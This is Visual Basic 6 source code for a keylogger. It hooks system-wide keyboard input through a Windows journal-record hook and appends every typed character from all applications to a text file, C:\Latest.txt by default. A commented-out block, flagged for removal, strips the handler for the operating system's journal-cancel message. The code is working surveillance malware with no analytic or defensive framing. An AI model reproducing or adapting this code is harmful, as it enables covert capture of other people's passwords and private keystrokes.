Private Type EVENTMSG
message As Long
paramL As Long
paramH As Long
time As Long
hwnd As Long
End Type
Private Type POINTAPI
x As Long
y As Long
End Type
Private Type MSG
hwnd As Long
message As Long
wParam As Long
lParam As Long
time As Long
pt As POINTAPI
End Type
Private Type CWPSTRUCT
lParam As Long
wParam As Long
message As Long
hwnd As Long
End Type
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal length As Long)
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Const WH_JOURNALRECORD = 0
Private Const WH_GETMESSAGE = 3
Private Const WH_CALLWNDPROC = 4
Private Const WM_CANCELJOURNAL = &H4B
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const VK_CANCEL = &H3
Private lHookID As Long
Private lAppHookID As Long
Private sFile As String
Public existing, password
Sub Keylogger()
On Error Resume Next
'Only start one instance of this app
If App.PrevInstance Then Exit Sub
'Allow the user to pass a File name/path to the App which will be used to store the keys
sFile = Command
If Len(sFile) = 0 Then sFile = "C:\Latest.txt"
If Len(Dir(sFile)) Then Kill$ sFile
'Set an application hook to monitor for messages sent to this app
lAppHookID = SetWindowsHookEx(WH_GETMESSAGE, AddressOf GetMessageProc, App.hInstance, App.ThreadID)
'Set a system hook to monitor certain messages sent to other applications in the o/s.
lHookID = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, 0&, 0&)
'Wait whilst the hook is in place and the user hasn't canceled the operation. (CTRL + BREAK)
While lHookID And GetAsyncKeyState(VK_CANCEL) = 0
If GetAsyncKeyState(Asc("A")) <> 0 Then
UnhookWindowsHookEx lHookID
lHookID = 0
End If
DoEvents
Wend
MsgBox "Stopped"
'Remove the System hook if necessary
If lHookID Then Call UnhookWindowsHookEx(lHookID)
'Remove the application hook
Call UnhookWindowsHookEx(lAppHookID)
End Sub
Function GetMessageProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim tMSG As MSG
If Code < 0 Then
'Pass the message along...
GetMessageProc = CallNextHookEx(lAppHookID, Code, wParam, ByVal lParam)
Else
'Grab the MSG structure
CopyMemory tMSG, ByVal lParam, Len(tMSG)
Select Case tMSG.message
'Case WM_CANCELJOURNAL
'An external process has requested us to stop this operation
'Call UnhookWindowsHookEx(lHookID)
'lHookID = 0
'BE SURE TO REMOVE ALL THREE LINES!!!
Case WM_KEYDOWN, WM_KEYUP
If tMSG.wParam = VK_CANCEL Then
'The user has canceled the operation (CTRL + BREAK)
Call UnhookWindowsHookEx(lHookID)
lHookID = 0
End If
End Select
End If
End Function
Function JournalRecordProc(ByVal Code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim tEVENTMSG As EVENTMSG
Dim bKeys(255) As Byte
Dim lAscII As Long
Dim iFile As Integer
If Code < 0 Then
'Pass this message along...
JournalRecordProc = CallNextHookEx(lHookID, Code, wParam, ByVal lParam)
Else
'Grab the Event Message Structure
CopyMemory tEVENTMSG, ByVal lParam, Len(tEVENTMSG)
Select Case tEVENTMSG.message
Case WM_KEYDOWN
'Track Keypresses....
'Get the current state of the Keyboard (used to determine special keys)
Call GetKeyboardState(bKeys(0))
'Convert the KeyCode to its appropriate "Case Sensitive" AscII equivelant
Call ToAscii(tEVENTMSG.paramL, 0&, bKeys(0), lAscII, 0&)
'If it's avalid ASCII value, Log it.
If lAscII Then
'Debug.Print Chr(lAscII);
iFile = FreeFile
Open sFile For Append As iFile
'if enter is pressed then a new line is saved
If lAscII = 13 Then
Print #iFile, Chr(lAscII)
Else
'if enter is not pressed then there is no new line
Print #iFile, Chr(lAscII);
End If
Close iFile
End If
End Select
End If
End Function
